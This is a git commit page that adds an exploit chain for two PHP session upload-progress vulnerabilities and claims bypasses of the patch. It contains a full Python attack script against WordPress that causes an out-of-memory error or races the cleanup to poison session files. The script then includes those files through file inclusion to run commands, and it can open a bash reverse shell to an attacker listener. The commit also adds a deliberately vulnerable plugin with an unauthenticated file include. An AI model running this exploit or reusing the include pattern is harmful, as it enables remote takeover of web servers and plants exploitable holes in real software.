PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)

Full RCE exploit chain for two critical PHP vulnerabilities in the multipart
parser and session upload progress handler, plus three bypass exploits that
defeat the official security patch (PHP 8.4.27) and all recommended mitigations.

Core exploits:
- CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE
- CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE
- WordPress-targeted wrapper with LFI auto-detection

Patch bypass exploits (confirmed RCE on PHP 8.4.27):
- Race condition: TOCTOU inherent to upload progress feature design
- RLIMIT_AS: mmap() failure bypasses the patched OOM handler
- /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
neko
2026-10-21 11:29:40 -05:00
commit e58bb493af
16 changed files with 3113 additions and 0 deletions
+492
View File
@@ -0,0 +1,492 @@
#!/usr/bin/env python3
"""
WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619
Demonstrates both PHP session upload progress vulnerabilities against a
WordPress target that has:
1. A plugin calling session_start() (WooCommerce, any session-using plugin)
2. A local file inclusion vector (plugin theme-preview, template param, etc.)
Two attack modes:
OOM mode (CVE-2026-109618)
Floods multipart fields to OOM PHP during parsing. zend_bailout()
longjmps past MULTIPART_EVENT_END → session cleanup skipped →
session file with PHP code persists on disk. Second request
includes it via LFI. Works with session.upload_progress.cleanup=1.
Race mode (CVE-2026-109619)
Sends a slow multipart upload that keeps the session file populated
while concurrent LFI requests race to include it before cleanup.
Works with session.upload_progress.cleanup=1. Lower field count,
no OOM needed.
Usage:
# OOM mode (default) — 'id' command
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'id'
# Race mode — reverse shell
python3 wordpress-exploit.py -t http://target:8080/ --mode race \\
--lhost 10.0.0.1 --lport 4444
# Custom LFI parameter and session path
python3 wordpress-exploit.py -t http://target:8080/ --cmd 'cat /etc/passwd' \\
--lfi-param dt_template --session-path /tmp/php-sessions
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
# ─── defaults ────────────────────────────────────────────────────────
WP_SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
WP_LFI_PARAMS = [
"dt_template",
"page",
"template",
"file",
"tpl",
"include",
"path",
]
# OOM tuning — ~1.6KB per field on PHP 8.4, aim for 80% of memory_limit
OOM_FIELD_SIZE = 1024
OOM_FIELDS_64M = 40000
OOM_FIELDS_128M = 80000
# ─── HTTP / multipart helpers ────────────────────────────────────────
def tcp_connect(host, port, tls=False, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except:
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out, data = b"", raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
def http_get(host, port, tls, path, headers=None, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
req = (
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
)
if headers:
for k, v in headers.items():
req += f"{k}: {v}\r\n".encode()
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = recv_all(sock, timeout)
sock.close()
return resp
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file(bnd, name, fname, content):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + fname + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
# ─── payload builders ────────────────────────────────────────────────
def build_payload(args):
if args.trigger_only:
return b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
if args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
return f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
if args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
return f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
# ─── OOM mode (CVE-2026-109618) ─────────────────────────────────────
def attack_oom(host, port, tls, path, sid, php_code, lfi_param,
session_paths, fields, fsize, args):
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
print("[*] Phase 1: session poisoning + OOM crash")
print(f" Building {fields} × {fsize}B field payload...")
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
print(f" Payload: {len(body)/(1024*1024):.1f} MB")
sock = tcp_connect(host, port, tls, timeout=120)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=10)
sock.close()
sc = status_code(resp)
if sc == 502 or sc == 0:
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
print(f" OOM during parsing — session cleanup skipped")
elif sc == 500:
print(f" [+] HTTP 500 — OOM during script execution")
else:
print(f" [!] HTTP {sc} — no OOM. Try --fields {fields*2}")
return False
# Wait for new worker
print(" Waiting for new worker...")
time.sleep(2)
for i in range(10):
try:
r = http_get(host, port, tls, path, timeout=3)
if status_code(r) in (200, 301, 302, 403, 404):
print(f" New worker ready")
break
except:
pass
time.sleep(1)
else:
print(" [!] New worker not available")
return False
# Phase 2: LFI
return phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args)
# ─── Race mode (CVE-2026-109619) ────────────────────────────────────
def slow_upload(host, port, tls, path, sid, php_code, duration=8.0):
bnd = b"----SLOW" + os.urandom(4).hex().encode()
sock = tcp_connect(host, port, tls)
head = b""
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n")
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n")
file_size = 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
sock.sendall(head)
chunk = b"\x00" * 4096
sent, start = 0, time.time()
try:
while sent < file_size and (time.time() - start) < duration:
sock.sendall(chunk[:min(4096, file_size - sent)])
sent += min(4096, file_size - sent)
time.sleep(0.05)
sock.sendall(tail)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
try:
recv_all(sock, timeout=2)
except:
pass
sock.close()
def attack_race(host, port, tls, path, php_code, lfi_param,
session_paths, attempts, args):
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sid = os.urandom(16).hex()
lfi_sid = os.urandom(16).hex()
print(f"[+] Upload SID: {sid}")
print("[*] Starting slow upload (keeps session file alive)...")
t = threading.Thread(target=slow_upload,
args=(host, port, tls, path, sid, php_code, 8.0),
daemon=True)
t.start()
time.sleep(0.3)
print("[*] Racing LFI requests against upload...")
for i in range(150):
if not t.is_alive():
break
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url,
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
timeout=3)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
output = extract_output(rbody.decode(errors="replace"), args)
if output is not None:
print(f"\n[+] Race won on iteration {i+1}")
print_result(output, args)
return True
except:
pass
time.sleep(0.02)
t.join(timeout=2)
print(f" Race lost on attempt {attempt}")
print("[!] Race condition failed after all attempts")
return False
# ─── LFI phase (shared) ─────────────────────────────────────────────
def phase_lfi(host, port, tls, path, sid, lfi_param, session_paths, args):
print()
print("[*] Phase 2: including poisoned session file via LFI...")
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url, timeout=10)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
output = extract_output(rbody.decode(errors="replace"), args)
if output is not None:
print(f" Session file: {sess}")
print_result(output, args)
return True
except:
continue
print(" [!] Session file not found via LFI")
print(f" Tried: {', '.join(session_paths)}")
return False
def extract_output(body_text, args):
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", body_text)
return m.group(1) if m else body_text[:200]
if args.cmd:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
return m.group(1).strip()
if "upload_progress_" in body_text:
return ""
return body_text[:500]
return ""
def print_result(output, args):
if args.trigger_only:
print()
print("[+] Code execution confirmed!")
print(f" {output}")
elif args.cmd:
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(output)
print("[+] ══════════════════════════════════════════")
print()
print("[+] RCE achieved!")
else:
print()
print("[+] Payload delivered — check your listener")
# ─── auto-detect ─────────────────────────────────────────────────────
def detect_lfi_param(host, port, tls, path, params):
for param in params:
try:
url = f"{path}?{param}=/etc/hostname"
resp = http_get(host, port, tls, url, timeout=5)
sc = status_code(resp)
rbody = body_of(resp)
if sc == 200 and len(rbody.strip()) > 0 and len(rbody.strip()) < 200:
return param
except:
continue
return None
# ─── main ────────────────────────────────────────────────────────────
def main():
ap = argparse.ArgumentParser(
description="WordPress RCE via PHP CVE-2026-109618 / CVE-2026-109619",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target:8080/ --cmd 'id'
%(prog)s -t http://target:8080/ --mode race --cmd 'whoami'
%(prog)s -t http://target:8080/ --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target:8080/ --trigger-only
""")
ap.add_argument("-t", "--target", required=True, help="WordPress URL")
ap.add_argument("--mode", choices=["oom", "race"], default="oom",
help="Attack mode: oom (CVE-2026-109618) or race (CVE-2026-109619)")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability without payload")
ap.add_argument("--lfi-param", help="LFI query parameter (auto-detected if omitted)")
ap.add_argument("--session-path", help="session.save_path on target")
ap.add_argument("--fields", type=int, default=OOM_FIELDS_64M,
help=f"OOM pressure fields (default {OOM_FIELDS_64M} for 64M)")
ap.add_argument("--field-size", type=int, default=OOM_FIELD_SIZE,
help=f"Bytes per OOM field (default {OOM_FIELD_SIZE})")
ap.add_argument("--attempts", type=int, default=5,
help="Race mode attempts (default 5)")
args = ap.parse_args()
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if not path.endswith("/") and "." not in path.split("/")[-1]:
path += "/"
php_code = build_payload(args)
sid = os.urandom(16).hex()
spaths = list(WP_SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
cve = "CVE-2026-109618 (OOM)" if args.mode == "oom" else "CVE-2026-109619 (Race)"
print("=" * 65)
print(f" WordPress RCE — {cve}")
print("=" * 65)
print(f" Target : {args.target}")
print(f" Mode : {args.mode}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# Phase 0: verify target
print("[*] Checking target...")
try:
r = http_get(host, port, tls, path, timeout=5)
sc = status_code(r)
if sc == 0:
raise ConnectionError("no response")
print(f" HTTP {sc} — WordPress alive")
except Exception as e:
print(f" [!] Not reachable: {e}")
sys.exit(1)
# Auto-detect LFI param
lfi_param = args.lfi_param
if not lfi_param:
print("[*] Auto-detecting LFI parameter...")
lfi_param = detect_lfi_param(host, port, tls, path, WP_LFI_PARAMS)
if lfi_param:
print(f" [+] Found: {lfi_param}")
else:
print(" [!] No LFI param detected. Specify --lfi-param")
sys.exit(1)
print()
if args.mode == "oom":
ok = attack_oom(host, port, tls, path, sid, php_code, lfi_param,
spaths, args.fields, args.field_size, args)
else:
ok = attack_race(host, port, tls, path, php_code, lfi_param,
spaths, args.attempts, args)
sys.exit(0 if ok else 1)
if __name__ == "__main__":
main()
+34
View File
@@ -0,0 +1,34 @@
<?php
/**
* Plugin Name: Analytics Dashboard (Vulnerable Demo)
* Description: Simulates a real-world WordPress plugin with PHP sessions and an
* LFI vulnerability. Represents plugins like WooCommerce session
* handlers, theme builders with template inclusion, etc.
* Version: 1.0.0
*
* Install as mu-plugin:
* cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/
*
* This plugin:
* 1. Calls session_start() on every request (like WooCommerce, etc.)
* 2. Has a template include that accepts user input (like theme builders)
* 3. Registers an AJAX endpoint accessible to unauthenticated users
*/
// Start PHP sessions (common in e-commerce/analytics plugins)
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
// Register an unauthenticated AJAX handler with LFI
add_action('wp_ajax_nopriv_analytics_render', 'analytics_render_template');
add_action('wp_ajax_analytics_render', 'analytics_render_template');
function analytics_render_template() {
$template = isset($_GET['template']) ? $_GET['template'] : 'default';
// Vulnerable: no path validation on template parameter
if (file_exists($template)) {
include($template);
}
wp_die();
}